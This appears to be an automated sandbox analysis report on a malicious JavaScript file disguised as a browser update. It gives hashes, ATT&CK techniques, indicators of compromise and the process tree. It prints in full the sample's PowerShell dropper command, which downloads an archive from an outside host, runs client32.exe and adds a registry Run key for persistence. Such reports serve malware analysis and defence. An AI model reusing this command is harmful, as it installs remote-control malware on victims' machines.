b24d7acdc4b26e5829fdf9be02a8bf4b864c99b420c222f4b8066a54981f53c6

Analysis

max time kernel
1563s
max time network
1564s
platform
windows7_x64
resource
win7-20240508-en
resource tags

arch:x64arch:x86image:win7-20240508-enlocale:en-usos:windows7-x64system
submitted
03-07-2024 13:40

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General

Target

Update 124.0.6367.158.js
Size

13.0MB
MD5

b613fd3763e4d2d8a32019015d95a84d
SHA1

201018208e4bf8a2c40b7611ba2042e413d4a7e5
SHA256

b24d7acdc4b26e5829fdf9be02a8bf4b864c99b420c222f4b8066a54981f53c6
SHA512

08e615607fd8722612cac53180c0c2faf231735ff8db9662120e5ef00e343839e2721670ed7f06b7d0e94bd462b4df275a9e1eb6249a898125e9753e5824242b
SSDEEP

49152:CalYOjByIHBJ8V6tlBDBFcLBLtmp3+T2vPHr+Z3jb4JsjcqTbsPF5xhyMA81qIdj:5

Score

10^/10

execution

Malware Config

Extracted

Language

ps1

Source

URLs

ps1.dropper

http://helpcenter.cyou/help.php?14995

exe.dropper

http://helpcenter.cyou/help.php?14995

Signatures

Blocklisted process makes network request 2 IoCs

flow	pid	Process
4	2432	wscript.exe
7	2664	powershell.exe

Command and Scripting Interpreter: PowerShell 1 TTPs 1 IoCs

Run Powershell and hide display window.

execution

PowerShell

T1059.001

pid	Process
2664	powershell.exe

Command and Scripting Interpreter: JavaScript 1 TTPs
execution

JavaScript
T1059.007
Enumerates physical storage devices 1 TTPs
Attempts to interact with connected storage/optical drive(s).

System Information Discovery
T1082

Suspicious behavior: EnumeratesProcesses 1 IoCs

pid	Process
2664	powershell.exe

Suspicious use of AdjustPrivilegeToken 1 IoCs

description	pid	Process
Token: SeDebugPrivilege	2664	powershell.exe

Suspicious use of WriteProcessMemory 3 IoCs

description	pid	Process	procid_target
PID 2432 wrote to memory of 2664	2432	wscript.exe	29
PID 2432 wrote to memory of 2664	2432	wscript.exe	29
PID 2432 wrote to memory of 2664	2432	wscript.exe	29

C:\Windows\system32\wscript.exe
wscript.exe "C:\Users\Admin\AppData\Local\Temp\Update 124.0.6367.158.js"
1⤵
- Blocklisted process makes network request
- Suspicious use of WriteProcessMemory
PID:2432
- C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
  "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -Ex Bypass -NoP -C $EOOMKNU='http://helpcenter.cyou/help.php?14995';$JDILN=(New-Object System.Net.WebClient).DownloadString($EOOMKNU);$UPJP=[System.Convert]::FromBase64String($JDILN);$asd = Get-Random -Minimum -10 -Maximum 37; $RSXUQ=[System.Environment]::GetFolderPath('ApplicationData')+'\GFLC'+$asd;if (!(Test-Path $RSXUQ -PathType Container)) { New-Item -Path $RSXUQ -ItemType Directory };$p=Join-Path $RSXUQ 'tttt.zip';[System.IO.File]::WriteAllBytes($p,$UPJP);try { Add-Type -A System.IO.Compression.FileSystem;[System.IO.Compression.ZipFile]::ExtractToDirectory($p,$RSXUQ)} catch { Write-Host 'Failed: ' + $_; exit};$CV=Join-Path $RSXUQ 'client32.exe';if (Test-Path $CV -PathType Leaf) { Start-Process -FilePath $CV} else {Write-Host 'No exe.'};$fd=Get-Item $RSXUQ -Force; $fd.attributes='Hidden';$s=$RSXUQ+'\client32.exe';$k='HKCU:\SOFTWARE\Microsoft\Windows\CurrentVersion\Run';$v='XGPGDUF';$DS='String';New-ItemProperty -Path $k -Name $v -Value $s -PropertyType $DS;
  2⤵
  - Blocklisted process makes network request
  - Command and Scripting Interpreter: PowerShell
  - Suspicious behavior: EnumeratesProcesses
  - Suspicious use of AdjustPrivilegeToken
  PID:2664

Network

MITRE ATT&CK Enterprise v15

Reconnaissance

Resource Development

Initial Access

Execution

Command and Scripting Interpreter

T1059

JavaScript

T1059.007

PowerShell

T1059.001

Persistence

Privilege Escalation

Defense Evasion

Credential Access

Discovery

System Information Discovery

T1082

Lateral Movement

Collection

Command and Control

Exfiltration

Impact

Replay Monitor

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Downloads

memory/2664-5-0x0000000002D30000-0x0000000002DB0000-memory.dmp

Filesize
512KB

Download
memory/2664-6-0x000000001B700000-0x000000001B9E2000-memory.dmp

Filesize
2.9MB

Download
memory/2664-7-0x0000000002920000-0x0000000002928000-memory.dmp

Filesize
32KB

Download